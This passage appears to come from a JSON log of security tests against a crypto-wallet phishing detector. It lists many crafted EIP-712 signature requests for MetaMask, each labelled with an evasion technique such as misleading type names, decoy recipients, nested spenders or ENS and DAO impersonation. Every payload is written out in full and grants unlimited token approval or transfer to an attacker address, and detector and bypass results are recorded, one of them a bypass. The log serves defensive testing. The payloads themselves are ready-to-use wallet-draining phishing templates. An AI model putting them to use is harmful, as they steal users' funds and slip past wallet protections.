Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T17:17:56.308Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T17:18:05.504Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T17:18:14.678Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T17:18:23.853Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T17:18:33.042Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T17:18:42.228Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T17:18:51.434Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN26-EIP3009-022", "timestamp": "2026-01-31T17:19:00.630Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x99dd5a450e7378c2cbfd6e0cc10d4deca1657ed644e57057cfdba450e3371115\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN26-EIP3009-054", "timestamp": "2026-01-31T17:19:07.176Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xe8273070a2109437cc20d6cac394b78b7a70aba46384d2c027d549f394d893e0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T17:19:16.920Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T17:19:26.129Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T17:19:35.448Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T17:19:44.643Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T17:19:53.856Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T17:20:03.046Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T17:20:12.219Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T17:20:21.407Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T17:20:30.591Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T17:20:39.766Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 